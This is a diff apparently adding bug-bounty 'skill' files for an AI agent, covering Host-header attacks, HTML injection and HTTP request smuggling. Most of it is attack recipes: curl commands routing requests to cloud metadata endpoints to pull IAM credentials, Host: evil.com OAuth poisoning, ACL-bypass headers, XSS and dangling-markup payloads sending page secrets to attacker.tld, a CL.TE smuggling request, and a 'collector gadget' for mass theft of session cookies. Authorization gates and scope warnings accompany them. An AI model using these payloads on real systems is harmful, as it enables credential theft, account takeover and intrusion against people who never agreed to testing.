curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
|
|
189
|
+
|
|
190
|
+
# GCP / Azure equivalents (still routing via Host):
|
|
191
|
+
curl -s "https://$TARGET/computeMetadata/v1/" \
|
|
192
|
+
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
|
|
193
|
+
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
|
|
194
|
+
-H "Host: 169.254.169.254" -H "Metadata: true"
|
|
195
|
+
|
|
196
|
+
# Internal hostname / port routing:
|
|
197
|
+
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
|
|
198
|
+
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
|
|
199
|
+
|
|
200
|
+
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
|
|
201
|
+
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
|
|
202
|
+
curl -s "https://$TARGET/" -H "Host: $COLLAB"
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**(3B) Path-override SSRF / ACL bypass — `X-Original-URL` / `X-Rewrite-URL`.** This is an
|
|
206
|
+
IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host
|
|
207
|
+
stays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
|
|
211
|
+
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
|
|
212
|
+
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
|
|
213
|
+
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
> The old probe `Host: 169.254.169.254` + `X-Original-URL: /latest/meta-data/` was wrong: those
|
|
217
|
+
> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.
|
|
218
|
+
|
|
219
|
+
### Phase 4 — OAuth / OIDC / SAML Poisoning
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# Does the authorization endpoint build redirect_uri / display URL from Host?
|
|
223
|
+
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
|
|
224
|
+
-H "Host: evil.com" | grep -iE "redirect|location|action="
|
|
225
|
+
|
|
226
|
+
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
|
|
227
|
+
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
|
|
228
|
+
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
**Confirm:** the auth code / token must actually be delivered to the attacker host (capture on
|
|
232
|
+
Collaborator) — a reflected string alone is not ATO.
|
|
233
|
+
|
|
234
|
+
### Phase 5 — Header Fuzzing (Param Miner)
|
|
235
|
+
|
|
236
|
+
Burp **Param Miner → Guess headers** is faster and finds unkeyed/cache-affecting headers the list
|
|
237
|
+
below misses. Manual sweep:
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
|
|
241
|
+
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
|
|
242
|
+
for H in "${HOST_HEADERS[@]}"; do
|
|
243
|
+
echo "=== $H ==="
|
|
244
|
+
curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
|
|
245
|
+
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
|
|
246
|
+
done
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Chain Table
|
|
252
|
+
|
|
253
|
+
| Finding | Chain to | Impact |
|
|
254
|
+
|---------|----------|--------|
|
|
255
|
+
| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |
|
|
256
|
+
| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS/redirect | High — mass cache poisoning |
|
|
257
|
+
| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High/Critical — SSRF → cloud creds |
|
|
258
|
+
| `X-Original-URL` overrides path | Reach `/admin` blocked at edge | High — ACL bypass / SSRF |
|
|
259
|
+
| OAuth redirect_uri/issuer built from Host | Re-point flow → capture code/token on Collaborator | Critical — ATO via code theft |
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Validation (house discipline)
|
|
264
|
+
|
|
265
|
+
✅ **Password reset:** the token URL in **your own test account's email** uses an
|
|
266
|
+
attacker-controlled host. Strongest proof = inject a **Collaborator** host and show the inbound
|
|
267
|
+
HTTP hit carrying the token when the link is clicked/previewed (OOB capture).
|
|
268
|
+
✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP / incognito)
|
|
269
|
+
still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or
|
|
270
|
+
`MISS`/`Age:0` only.
|
|
271
|
+
✅ **Routing SSRF:** real response body from `169.254.169.254` / internal host, **or** an OOB
|
|
272
|
+
DNS/HTTP hit on your Collaborator from the front-end (blind case).
|
|
273
|
+
✅ **Path-override:** status/body diff vs the edge-blocked direct request proves the override took.
|
|
274
|
+
✅ **OAuth/OIDC:** the auth code / token is actually delivered to the attacker host (captured),
|
|
275
|
+
not merely reflected.
|
|
276
|
+
|
|
277
|
+
**Always rule out false positives:**
|
|
278
|
+
- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).
|
|
279
|
+
- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal
|
|
280
|
+
target or your Collaborator fired.
|
|
281
|
+
- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the
|
|
282
|
+
HTTP response does not guarantee a poisoned *email*; verify the email body.
|
|
283
|
+
|
|
284
|
+
**Severity:**
|
|
285
|
+
- Reset → ATO for any user: Critical
|
|
286
|
+
- Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
|
|
287
|
+
- Cache poisoning → mass XSS/redirect (shared key proven): High
|
|
288
|
+
- Path-override → internal/admin reach: High
|
|
289
|
+
- Reflected only, uncacheable, not in email, no internal reach: Low / informational
|
|
290
|
+
|
|
291
|
+
## When to Use
|
|
292
|
+
|
|
293
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
294
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
295
|
+
|
|
296
|
+
## Limitations
|
|
297
|
+
|
|
298
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
299
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
300
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
301
|
+
|
|
302
|
+
### Example
|
|
303
|
+
|
|
304
|
+
```bash
|
|
305
|
+
# Read-only first step; confirm scope before anything active.
|
|
306
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-html-injection
|
|
3
|
+
description: Hunt HTML Injection
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, public_research
|
|
16
|
+
report_count: 6
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
## What is HTML Injection
|
|
33
|
+
|
|
34
|
+
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `<b>`, `<h1>`, `<a>`, `<img>`, or `<form>` tags is sufficient.
|
|
35
|
+
|
|
36
|
+
**To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary** — e.g. `"><img src=x onerror=alert(91234)>` or `<svg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
|
|
37
|
+
|
|
38
|
+
**Impact:**
|
|
39
|
+
- Phishing via injected `<form>` or `<a href="attacker.com">` tags
|
|
40
|
+
- UI defacement — `<h1>HACKED</h1>` renders visually on the page
|
|
41
|
+
- Credential harvesting via injected login forms
|
|
42
|
+
- Redirect via `<meta http-equiv="refresh">`
|
|
43
|
+
- Stepping stone to XSS (may be blocked by WAF on `<script>` but not `<img onerror>`)
|
|
44
|
+
- **Dangling-markup exfiltration** — even with `<script>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `<img src='//attacker.tld/log?html=` (no closing quote/`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `<` is reflected.
|
|
45
|
+
- **Email/notification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `<a>`/`<img>`/dangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.
|
|
46
|
+
|
|
47
|
+
## Attack Surface
|
|
48
|
+
|
|
49
|
+
Any input that is reflected or stored and then displayed in an HTML context:
|
|
50
|
+
- Search boxes (`?q=`)
|
|
51
|
+
- Comments, feedback, reviews
|
|
52
|
+
- Profile fields (name, bio, username)
|
|
53
|
+
- Error messages (`?error=`, `?message=`)
|
|
54
|
+
- Subject / body of contact forms
|
|
55
|
+
- Admin-visible fields (ticket titles, usernames in logs)
|
|
56
|
+
|
|
57
|
+
## Autonomous Testing Priority
|
|
58
|
+
|
|
59
|
+
**Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.**
|
|
60
|
+
|
|
61
|
+
**Pattern 1 — Basic HTML tag injection:**
|
|
62
|
+
```
|
|
63
|
+
<b>CANARY</b>
|
|
64
|
+
"><b>CANARY</b>
|
|
65
|
+
```
|
|
66
|
+
Use a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `<b>CANARY` with literal `<` angle brackets — not `<b>CANARY`. A properly encoded app would escape `<` to `<`.
|
|
67
|
+
|
|
68
|
+
**Try multiple tag types when `<b>` is filtered:**
|
|
69
|
+
- `<h1>CANARY</h1>` — heading tag (often less filtered)
|
|
70
|
+
- `<img src=x onerror=CANARY>` — attribute context
|
|
71
|
+
- `<a href="https://attacker.com">click</a>` — link injection (phishing proof)
|
|
72
|
+
|
|
73
|
+
**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
|
|
74
|
+
|
|
75
|
+
**Escalate immediately:** if `<b>` injection works, try `<script>alert(1)</script>` — the same unsanitised input may allow full XSS.
|
|
76
|
+
|
|
77
|
+
## Proof
|
|
78
|
+
|
|
79
|
+
Confirmed when your injected tag appears in the response body with literal `<` angle brackets (not HTML-encoded). A safe app renders `<b>CANARY</b>`; a vulnerable app renders `<b>CANARY</b>`.
|
|
80
|
+
|
|
81
|
+
## Distinguishing HTML Injection from XSS
|
|
82
|
+
|
|
83
|
+
- HTML injection: `<b>text</b>` renders as **text** in the browser — no JS execution needed.
|
|
84
|
+
- XSS: `<script>alert(1)</script>` executes JavaScript.
|
|
85
|
+
|
|
86
|
+
Some WAFs block `<script>` but pass `<b>` or `<img>` — start with non-script tags, then escalate.
|
|
87
|
+
|
|
88
|
+
## When to Use
|
|
89
|
+
|
|
90
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
91
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
92
|
+
|
|
93
|
+
## Limitations
|
|
94
|
+
|
|
95
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
96
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
97
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
98
|
+
|
|
99
|
+
### Example
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
# Read-only first step; confirm scope before anything active.
|
|
103
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-http-smuggling
|
|
3
|
+
description: Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE).
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, cve_database, portswigger_research, public_research
|
|
16
|
+
report_count: 12
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
## HTTP REQUEST SMUGGLING
|
|
33
|
+
> Lowest dup rate. $5K–$30K. PortSwigger research by James Kettle.
|
|
34
|
+
|
|
35
|
+
### CL.TE (Content-Length front, Transfer-Encoding back)
|
|
36
|
+
```http
|
|
37
|
+
POST / HTTP/1.1
|
|
38
|
+
Content-Length: 13
|
|
39
|
+
Transfer-Encoding: chunked
|
|
40
|
+
|
|
41
|
+
0
|
|
42
|
+
|
|
43
|
+
SMUGGLED
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Detection
|
|
47
|
+
```
|
|
48
|
+
1. Burp extension: HTTP Request Smuggler
|
|
49
|
+
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
|
|
50
|
+
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Impact Chain
|
|
54
|
+
```
|
|
55
|
+
Poison next request → access admin as victim
|
|
56
|
+
Steal credentials → capture victim's session
|
|
57
|
+
Cache poisoning → stored XSS at scale
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Target-Suitability Matrix (2026 reality check)
|
|
63
|
+
|
|
64
|
+
The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.
|
|
65
|
+
|
|
66
|
+
| Front-end | CL.TE | TE.CL | H2.CL | H2.TE | Notes |
|
|
67
|
+
|---|---|---|---|---|---|
|
|
68
|
+
| **Nginx ≥ 1.21** | NO | NO | partial (H2 ingress) | partial | RFC-strict; rejects CL+TE with HTTP 400. Verified locally on Nginx 1.27 — all 9 documented variants killed by front-end ([docs/verification/phase2h-smuggling-cachepoison.md](references/phase2h-smuggling-cachepoison.md)). |
|
|
69
|
+
| **Caddy 2.x** | NO | NO | — | — | Hardened by default |
|
|
70
|
+
| **Envoy ≥ 1.20** | NO | NO | partial | partial | Hardened in most paths |
|
|
71
|
+
| **HAProxy ≤ 2.4** | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |
|
|
72
|
+
| **AWS ALB + specific upstream** | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
|
|
73
|
+
| **Cloudflare → S3 / Lambda chains** | — | — | ✓ | ✓ | H2-downgrade attacks remain viable |
|
|
74
|
+
| **Older F5 BIG-IP (TMM < 16)** | ✓ | — | — | — | Vendor advisories |
|
|
75
|
+
| **Citrix ADC / NetScaler (older firmware)** | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
|
|
76
|
+
| **Squid 3.x** | ✓ | — | — | — | Older deployments |
|
|
77
|
+
| **Apache Traffic Server (older)** | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
|
|
78
|
+
| **Apache mod_proxy_ajp → Tomcat** | — | — | — | — | Cross-protocol HTTP→AJP desync (CVE-2022-26377); smuggled request is opaque to the WAF and reaches internal AJP admin/status paths that lack the external auth controls |
|
|
79
|
+
| **Custom Python / Go proxies** | ✓ | ✓ | — | — | Frequently miss RFC enforcement |
|
|
80
|
+
|
|
81
|
+
### Operator fingerprint quick-check
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
curl -sI https://target/ | grep -i "Server:"
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
- `nginx/1.21+`, `Caddy`, `envoy` → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream
|
|
88
|
+
- `HAProxy`, header points to AWS/CDN → run the full payload matrix
|
|
89
|
+
- No Server header → assume hardened, but run a single quick `space-before-colon` probe; if it doesn't 400, dig deeper
|
|
90
|
+
|
|
91
|
+
### H2.CL / H2.TE (the modern dominant vector)
|
|
92
|
+
|
|
93
|
+
H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.
|
|
94
|
+
|
|
95
|
+
Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, `h2csmuggler`, `smuggler.py`) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
|
|
96
|
+
|
|
97
|
+
### Mass credential harvesting — the "collector gadget"
|
|
98
|
+
The highest-impact smuggling outcome needs no per-victim interaction. Instead of blindly poisoning the queue, smuggle a request aimed at a **back-end handler that echoes the full request** — a search endpoint that reflects headers, or a redirect that mirrors the request line. The next victim's headers (`Cookie`, `Authorization`, `X-Access-Token`) get attributed to your smuggled request, and the reflecting handler returns them **in a response you read**. Repeated on a busy keep-alive socket, this harvests live credentials from arbitrary users at scale — and it works even through a CDN (Akamai/Cloudflare) when the CDN↔origin hop desyncs. Chains to `hunt-ato`.
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Related Skills & Chains
|
|
103
|
+
|
|
104
|
+
- **`hunt-cache-poison`** — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (`/`, `/login`) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.
|
|
105
|
+
- **`hunt-auth-bypass`** — Smuggling reaches internal-only routes that the front-end WAF/auth-proxy filters out. Chain primitive: smuggle `GET /admin/users HTTP/1.1` past the front-end ACL that blocks external `/admin/*` → backend processes the smuggled request as if from a trusted internal source → bypass front-end auth by smuggling internal-routed request → admin data in the response queue.
|
|
106
|
+
- **`hunt-idor`** — Smuggling attaches the NEXT user's session cookies to an attacker-controlled request path. Chain primitive: smuggle `GET /api/me HTTP/1.1` with no cookies → backend pairs it with the next legitimate user's incoming connection cookies → victim's session cookie attached to attacker's smuggled request → attacker reads the response containing victim's PII/tokens.
|
|
107
|
+
- **`hunt-xss`** — Smuggling injects XSS payloads into the response stream of the next victim without ever appearing in a URL parameter. Chain primitive: smuggled request body contains reflected payload that the backend renders into the next response in the queue → next visitor to `/` receives attacker HTML inline → reflected XSS at every visitor without any URL parameter visible to them or to logs.
|
|
108
|
+
- **`security-arsenal`** — Reach for the smuggling payload bank (CL.TE / TE.CL / TE.TE obfuscations, H2.CL downgrade probes, h2csmuggler one-liners, Burp HTTP Request Smuggler extension config) and the time-delay confirmation template before manual hex-editing.
|
|
109
|
+
- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical: the smuggled-request effect MUST land on a request issued by a different client/session, not your own follow-up. A timing delta in your own browser alone is parser disagreement, not exploitable smuggling.
|
|
110
|
+
|
|
111
|
+
## When to Use
|
|
112
|
+
|
|
113
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
114
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
115
|
+
|
|
116
|
+
## Limitations
|
|
117
|
+
|
|
118
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
119
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
120
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
121
|
+
|
|
122
|
+
### Example
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Read-only first step; confirm scope before anything active.
|
|
126
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|